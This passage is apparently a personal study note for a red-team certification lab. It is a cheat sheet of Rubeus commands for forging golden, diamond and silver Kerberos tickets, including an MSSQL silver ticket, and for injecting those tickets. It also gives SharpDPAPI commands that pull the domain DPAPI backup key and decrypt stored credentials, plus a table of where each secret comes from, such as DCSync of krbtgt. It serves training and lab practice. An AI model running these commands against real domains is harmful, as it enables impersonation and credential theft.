/krbkey:<KRBTGT_AES256> \
/ticketuser:<USER> \
/ticketuserid:<RID> \
/domain:<DOMAIN> \
/nowrap
GET:
Modified legitimate TGT
THEN:
make_token
ptt
klist
OPTIONAL INSPECTION:
Rubeus.exe describe \
/servicekey:<KRBTGT_AES256> \
/ticket:<BASE64>
============================================================
SILVER - COMPUTER/SERVICE AES
============================================================
HAVE:
service/computer secret
RUN:
Rubeus.exe silver \
/service:<SPN> \
/aes256:<SERVICE_AES256> \
/user:<USER> \
/domain:<DOMAIN> \
/sid:<SID> \
/nowrap
GET:
Forged TGS
THEN:
make_token
ptt
klist
EXPECT:
Server: <SERVICE>/<HOST>
============================================================
SERVICE PASSWORD → SERVICE KEY
============================================================
HAVE:
plaintext service-account password
RUN:
Rubeus.exe hash \
/user:<SERVICE_ACCOUNT> \
/domain:<DOMAIN> \
/password:<PASSWORD>
GET:
RC4
AES128
AES256
NEXT:
use appropriate service key for Silver
============================================================
MSSQL SILVER
============================================================
RUN:
Rubeus.exe silver \
/service:MSSQLSvc/<SERVER>:1433 \
/rc4:<SERVICE_RC4> \
/user:<USER> \
/id:<RID> \
/groups:<GROUP_RIDS> \
/domain:<DOMAIN> \
/sid:<SID> \
/nowrap
THEN:
make_token
ptt
klist
TEST:
SQLRecon.exe \
/a:wintoken \
/h:<SQL_HOST> \
/m:info
============================================================
RETURN TOKEN
============================================================
rev2self
============================================================
DPAPI BACKUP KEY
============================================================
GET BACKUP KEY:
SharpDPAPI.exe backupkey
SAVE:
Key: <DPAPI_BACKUP_KEY>
ENUMERATE CREDENTIALS:
SharpDPAPI.exe credentials
DECRYPT USING DOMAIN BACKUP KEY:
SharpDPAPI.exe credentials \
/pvk:<DPAPI_BACKUP_KEY>
23. Where does every required value come from?
This is the part that usually causes confusion.
| Value | Where this chapter gets it |
|---|---|
krbtgt AES256 |
dcsync DOMAIN DOMAIN\krbtgt |
| Service account AES/RC4 | Known service password → Rubeus hash |
| Computer/service key | Assumed previously obtained by compromising that machine/service |
| Base64 ticket | Output of Rubeus golden, diamond, or silver |
| DPAPI backup key | SharpDPAPI.exe backupkey |
| DPAPI credential blob | SharpDPAPI.exe credentials |
| Domain SID | Chapter assumes you already know it |
| User RID | Chapter assumes/enumerates it elsewhere |
| Group RIDs | Chapter assumes prior AD enumeration |
| Service SPN | Depends on target service, e.g. cifs/... or MSSQLSvc/... |
That distinction matters: the Domain Dominance chapter doesn't actually teach every enumeration step required to discover SID/RID/SPN/key material. It assumes some of those came from earlier CRTO enumeration and credential-access material.
24. The shortest possible memory version
When you're in the lab, ask yourself:
What did I steal?
krbtgt AES key?
DCSync
↓
Golden / Diamond
↓
TGT
Computer/service key?
Silver
↓
TGS
Plaintext service password?
Rubeus hash
↓
service key
↓
Silver
Ticket generated?
make_token
↓
ptt
↓
klist
Done impersonating?
rev2self
DPAPI domain backup key?
SharpDPAPI backupkey
↓
credentials
↓
credentials /pvk:<KEY>
If you internalize secret → ticket type → inject → verify → use, you don't actually need to memorize the entire chapter line by line.
Review prompts
- Which secret supports a Silver Ticket, and why is DCSync only one possible way to obtain it?
- What does the krbtgt key let you create, and how is that different from a service-account key?
- What does a valid ticket prove, and what separate authorization check remains?
- Why is the DPAPI domain backup key a separate recovery branch?
- Which scope, OPSEC and cleanup gates must be checked before any high-impact lab action?
This is a living study note. Sources and understanding may change as it is reviewed.